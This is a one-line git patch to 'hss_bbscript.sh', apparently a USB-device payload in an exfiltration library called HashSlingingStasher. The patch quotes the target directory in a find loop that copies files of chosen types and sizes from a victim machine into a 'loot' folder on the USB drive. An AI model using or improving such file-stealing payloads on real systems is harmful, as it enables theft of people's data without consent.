From b8ab07fd33e7d2122e950ddd606e01cf56268c62 Mon Sep 17 00:00:00 2001 From: pRs3k <55955671+theSW4n@users.noreply.github.com> Date: Fri, 1 Dec 2023 21:36:13 -0700 Subject: [PATCH] HSS compatibility fix Fixed support for target directories with spaces in the path --- .../library/exfiltration/HashSlingingStasher/hss_bbscript.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/payloads/library/exfiltration/HashSlingingStasher/hss_bbscript.sh b/payloads/library/exfiltration/HashSlingingStasher/hss_bbscript.sh index 573840ea..6f0e18f2 100755 --- a/payloads/library/exfiltration/HashSlingingStasher/hss_bbscript.sh +++ b/payloads/library/exfiltration/HashSlingingStasher/hss_bbscript.sh @@ -39,7 +39,7 @@ done <<< "$partitions" fi ###### Find all files under a given directory of a given size and filetype, copy the files to a folder on the USB drive, and save their checksums to a running list ###### -find $target_directory -path "$mountpt/loot/hss" -prune -o -size $find_file_size -type f \( -name "" `for i in ${target_extensions[@]}; do echo "-o -iname "*.$i" "; done` \) -exec echo {} ';' | while read p; do +find "$target_directory" -path "$mountpt/loot/hss" -prune -o -size $find_file_size -type f \( -name "" `for i in ${target_extensions[@]}; do echo "-o -iname "*.$i" "; done` \) -exec echo {} ';' | while read p; do if cat ./checksums.txt | grep -qw `cksum "$(echo "$p" | tr -d '\\\')" | cut -d ' ' -f1`; then : else